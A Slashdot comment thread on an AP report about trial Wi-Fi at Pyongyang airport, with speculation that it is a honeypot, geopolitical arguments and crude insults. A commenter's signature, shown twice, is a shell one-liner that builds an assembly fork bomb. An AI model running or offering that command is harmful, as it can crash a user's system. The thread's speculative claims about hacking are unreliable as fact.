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Postcard From Pyongyang: The Airport Now Has Wi-Fi, Sort of (apnews.com)
Eric Talmadge, writing for AP: North Korea is one of the least Wi-Fi-friendly countries in the world. Having a device that emits Wi-Fi signals can result in detention and a major fine. Worse, if you are a North Korean. Public use of the internet is a concept that just makes North Korean officials really nervous. But here's a sign that might be changing. North Korea's main internet provider appears to have put up a Wi-Fi trial balloon at the international departure area of Pyongyang's airport. It's a logical place to start. The service is only available, or even visible, to travelers who have already cleared customs, which included me last week. The reporter was unable to actually get the Wi-Fi to work, however.
... pot.
It little behooves the best of us to comment on the rest of us.
and free vacation in a concentration camp if you use more than 1 MB :)
One last chance to hack foreigners' devices on their way out of the country, when they're burned out, less attentive, anxious to connect to the outside world, and jumping right into checking email and other communications. Gee, I wonder why they'd try this.
Don't disappoint your bird dog. Go to the range.
I connect to any available Wi-Fi without regard for security concerns. In a country known for hacking.
No wonder the mainstream media is sinking fast.
They can't even get an access point to work, yet we should believe our fuhrer when he blames them for quite sophisticated hacking.
That's because the only one who got the real password is Dennis Rodman.
North Korea is one of the least Wi-Fi-friendly countries in the world.
They could drop the word Wi-Fi from that sentence and it would still be true. I really cannot fathom any sane reason to travel to that country.
A honeypot doesn't work if you can't log in.
All a honeypot REALLY requires is that you try to connect, then it blows out the TCP connection stack and downloads whatever it likes onto your device. Why even pretend a login is working when it's done everything it needs to do? Do you seriously doubt there are a ton of cheap Android phones you could easily root this way, probably even older iOS versions?
The point of the honeypot is that it draws targets in that are then infected in some way, so this easily qualifies...
"There is more worth loving than we have strength to love." - Brian Jay Stanley
The United States tolerates other countries operated by dictators with ruthless policies as well.
Normally "good" countries tolerate "bad" countries when...
1. The "Bad" country has something the "Good" country wants or needs.
2. The "Bad" country isn't in direct competition, to the "Good" countries self interests.
3. The "Bad" country just isn't that important.
4. The "Bad" country is upholding a policy, borders, and or anything else that promotes the "Good" countries self interest.
5. The "Bad" country is a line of defense from a "Worse" country that the "Good" country is having problems with.
For the most part Countries respect the sovereignty that an other country has, and realizes its morals and polices will not match their own. Other countries looking at us, can probably find many things that we do, that are just as reprehensible as we accuse them for doing.
If something is so important that you feel the need to post it on the internet... It probably isn't that important.
Ever been on a german airport?
If it has free wifi, you can access the airport news, flights and landings, and the weather, that's it.
For 'internet' you either pay $5 for an hour or two or $20 for a day.
Regarding internet and WiFi Germany is the most backyard country I ever experienced, but well, resident customers have 20Mbit and up connections ... not sure how gould that is when my cellular connection in Denmark or Thailand *feels* faster.
Cost free eBook I read (by iBook/Kobo/Amazon/ObookO/Gutenberg etc.): "The Green Odyssey" by Philip Jose Farmer.
I feel incredibly sorry for the poor North Korean woman who was staffing the Internet booth. I'm sure in the context of North Korea that's probably a prestigious job and she was clearly not in a position to do anything to solve the actual technical problem (which is probably to just bypass a ridiculously over-anal spying firewall).
I can only imagine what the Nork government are doing to her and 3 generations of her family right now because they interpret the incident to be that she caused a westerner.to see that North Korean infrastructure is anything less than perfect.
Ferdinand Marcos learned the hard way - once you start giving your vassals (even controlled) access to some of the accoutrements of the modern world in an attempt to keep them mollified, what generally happens is they eventually figure out just how awful their life is compared to people who live elsewhere. And it doesn't end well for you.
#DeleteChrome
Clearly you've never been to New Jersey!
North Korea will fall. Either by violence from outside or from within.
When the dust settles, the world will learn of the atrocities they suspect now, but are really unwilling to admit to.
At that time, the entire world will be ashamed to have let the Cancer that is North Korea live for so long.
When Fascism comes to America, it will call itself Anti-Fascism, and tell you to give up your guns.
Why does Europe tolerate Israel? Europe could pressure America and Canada into putting an end to the Israel's antics, yet they look the other way. Now the Israel probably has biological weapons to go along with their nuclear arsenal and ICBMs. If the Israel attacks Sira, Iran or Palestine, then Europeans will have blood on their hands.
Does that sound crazy? So do you.
Did you just fat shame gorillas? :-)
Learning HOW to think is more important than learning WHAT to think.
No, he shamed skinny ones.
APK quotes people (including myself) without context and should not be trusted. Just thought you should know.
I will be right there!
autism kroners
This is awesome.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
The interesting thing about hacking is that you can have a few smart and determined people in a building with a 56K modem and some old computers and they can still do it. You don't need much infrastructure.
The US's enemies - Iran, China, Russia and North Korea, etc don't really have a shortage of smart people. North Korea has almost no infrastructure, but that doesn't matter for asymmetric things like hacking. In fact if you lived in North Korea, hacking enemies of the state is basically the nearest you can get to entrepreneurship - you'd get a decent apartment, extra rations and protection from the bureaucracy.
E.g. if you read about how well people like Sakharov lived before they were dissidents
https://www.hoover.org/researc...
His embrace of human rights did not come through a sudden conversion. Scrupulously honest, and almost naÃve in his understanding of politics and power, he came to it in stages. Let me give you a brief chronology of the metamorphosis.
First came his concern about the radioactive fallout from atmospheric testing. But in those years, in the 1950s, the concerns were still new, and raising them was possible within the scientific and political elite. These were issues Sakharov could take up directly with Nikita Khrushchev, even though he was at times rebuffed and put in his place for meddling in politics.
Then came the Academy of Science elections in 1964 at which Sakharov openly spoke out against accepting an ally of the pseudo-scientist Trofim Lysenko. The Academy of Science, in fact, was probably the closest to a democratic institution in the Soviet state, where full members could still vote to reject a candidate pushed by the Kremlin.
So far, Sakharov's activities were still within the bounds of permissible debate for someone of his standing in the elite. Yet as Sakharov noted in his Memoirs, the academy vote, like the struggle against atmospheric testing, marked another step on the way to becoming active in civic affairs.
The turning point for Sakharov, as for the entire dissident movement, came in the mid-1960s. These were years in which Sakharov signed a petition against the rehabilitation of Stalin, followed by a letter against the enactment of the law against defaming the Soviet state, which became the basis for the prosecution of many dissidents, followed by a decision to join in a demonstration on Pushkin Square on Constitution Day.
Then came his first letter, this one to Leonid Brezhnev, in support of a dissident, and then his involvement in the movement to save Lake Baikal.
What is amazing to realize now is that in those years, Sakharov had such high rank that he could pick up a special phone and directly call the KGB chief, Yuri Andropov, as he did in 1967 to seek the release of the writers Andrei Sinyavsky and Yuli Daniel.
These phones, known as vertushka, connected members of the top nomenklatura [chief officials]-I managed to steal one from the Kremlin during the chaos of 1991, and I learned then that the name, vertushka, which means "dial," comes from the fact that the elite network was the first to use dial phones.
If you're in a hellish totalitarian state helping the powers that be gives you a lot of privilege - not just a nice apartment and elite rations but you're get a vertushka phone you can call the head of the secret police on for a chat.
And, like I say, places like Russia don't a shortage of smart people. Like this chap
https://www.youtube.com/watch?...
Also most Western consumer stuff - iOS, Android, Windows, macOS - is full of vulnerabilities.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Curiosity? For all the bad things you hear about the country it doesn't seem to be the worst for tourists, I hear more bad things about Mexico.
That's because A) there is more news about Mexico and some of it is bound to be bad, B) you obviously haven't been to Mexico and C) people who have a great experience in Mexico (most of them) don't complain about it. I've worked in Mexico and spent quite a lot of time there. Mexico is great for the most part. Honestly the US is roughly just as dangerous to visit as Mexico and neither place is really especially dangerous. There is no reason to be afraid of visiting either country as a general proposition.
There are lots of things I'm curious about but I don't do the ones that carry a non trivial chance of me ending up in a labor camp. If you want to stick your head in the lions mouth knock yourself out but personally I'll just visit pleasant places. There are worse places to go (like Syria) but not a lot of them.
Of all the places in the world where you should NOT trust an open WiFi hot spot, North Korea would be #1 on any list.
And WTF was the author doing in North Korea?
turning a phone on in North Korea = high roaming fees.
disguising your equipment in such a unusual place, to monitor occidental citizen who are traveling to and from Pyongyang is a masterpiece indeed!
At best you get a shitty censored dial up quality connection. At worst the Norks are packet sniffing everything coming from every single device that connects and helping themselves to anything of value that they can exploit while you sit there.
Because there is about half the world between us and them, and the people in the middle have a lot of guns and little sense of humour - especially the Americans and Russians (who have the biggest lumps of land between us and NK).
KJU probably is not a major threat to us - he is more of a laughing stock. Sure he is a major threat to his own people - but as we all should know by now, interfering in other country's affairs does not generally improve the situation. Its not impossible that his own people will decide they might as well kill him - they are going to die anyway - why not take him with them.
If we do in the "American way" (go in with all guns blazing) it will end the way it always does - masses of "collateral damage" and no significant change in the big picture. This is not traditionally our preferred approach.
Sent from my ASR33 using ASCII
Your use of the acronym SJW makes me want to say GO FUCK YOURSELF even though I wholeheartedly agree with the rest of your comment
In case you hadn't heard, resources (including human) are very limited in North Korea, and the government there is very forceful and particular about what people do. If they have 10 "computer guys" to go around, they may assign all 10 to the hacking part of their asymmetric-warfare plan, and zero to setting up Wi-Fi at the airport.
Wi-fi at the airport gets the regime nothing. Asymmetric warfare gets the regime nearly everything they have.
high roaming fees
They can go ahead and name me as a sponsor of their next missile test.
Have gnu, will travel.
Exactly. They have so few "computer guys" that it's going to be well near impossible to find any aces among them - none of them grew up with the ability to tinker with computers and networks. Good hackers isn't a profession where you assign people and say "you there, become an expert hacker!"
There just isn't a viable substrate for experts to grow out of.
hahahhaha north korea has no one to defend it this time, it challenges my master and therefore challenges me for submitting to him, its time to pick up some easy self esteem points with a misplaced dominance display
OMFG those fucking retards cant even do wifi wtf i can do wifi WHAT THE FCUK omfg lol we are so much better i am so glad i have an example of how bad my life would be if i didn't believe every single fucking thing the media fed me
My karma was manually wiped by site staff https://slashdot.org/~slshdtisctrldbysjws 18 mod up, 10 mod down = bad karma
I'd call that Russian Empire version 3. The Soviet Union was to a large extent the Russian Empire with new ideology.
"When you have eliminated the unacceptable, whatever is left, however improbable, must be the truthiness" - Holmes
North Korea is like an insane pit bull that China keeps chained up on their back porch. Nobody sane is going to go around there, they know it will automatically bite the living fark out of them. This suits China just fine. If someone *did* mess with the dog they would quickly find that it's master was coming out with the shotgun and a bad attitude, and was even worse to deal with than the dog.
I suggested something like that too in 2000 about mesh-networked communicators: https://www.dougengelbart.org/...
"Consider millions of these devices airdropped into Iraq and Yugoslavia -- instead of more expensive cruise missiles! Anybody got $1 billion to spend on ensuring democracy with a true defense against tyranny in those places? (This is probably what the U.S. military's spends on gas/oil for a month cruising the area...) "
Although, as with Germans occupiers during WWII making it illegal to own radios in occupied lands, possibly local security forces could criminalize these devices (e.g. China now scanning people's mobile phones for forbidden software) -- so I'm not sure what the ultimate result would be. Probably the outcome would depend on a lot of factors.
A 21st century issue: the irony of technologies of abundance in the hands of those still thinking in terms of scarcity.
They have a smaller pool to work with, but the totalitarian nature of the place assures that 100% of that pool (which is not zero) will probably get drafted to hacker camp before puberty. Just like they do with their couple of rocket scientists and nuclear physicists. The US government has a way bigger pool to draw from, but they don't snap up nearly as high of a percentage - because it wouldn't make sense. A 2,000-hacker team is not 10x better than a 200-hacker team. ESPECIALLY when secrecy is needed.
With these kind of operations, quantity isn't paramount. That's what categorizes it as asymmetric warfare, and that is precisely why NK is so terribly interested in it.
Europe could pressure Russia and China into putting an end to the DPRK's antics...
I guess they could, but it is more fun to laugh at the US's pathetic failed attempts to do the same.
There is roughly a zero chance of getting mugged in DPRK. Yes, you can go to prison for things.
Like pointing out that their Dear Leader is an asshat. Or looking at anything your handler doesn't approve of. Or photographing anything unapproved. Or talking with the locals without permission.
But so long as you play the part of good tourist, you are much safer in DPRK than Mexico (or the US).
Bullshit. I guarantee I'm safer in the US or Mexico. It's not even a close contest.
The world is (supposed to be) a slightly better place every time a news reporter travels somewhere to get a story. At least in theory.
Except they pretty much don't get any stories out of North Korea. Normally I'd agree with you but the hermit kingdom is locked down so tight that the notion of journalists uncovering something big by going there is a fantasy.
Well thank you comrade. For following the standard Russian Social Media response to try to push an agenda to keep Americans polarized politically, and bring up doubt on the morals of a competing country. Putin will be proud.
If something is so important that you feel the need to post it on the internet... It probably isn't that important.
yeah yeah it's supposed to be "800 pound gorilla", I know, I know
I just love how so many people on the Internets will get so pedantically caught up in a metaphor mangled and completely ignore the reason for the metaphor. :-(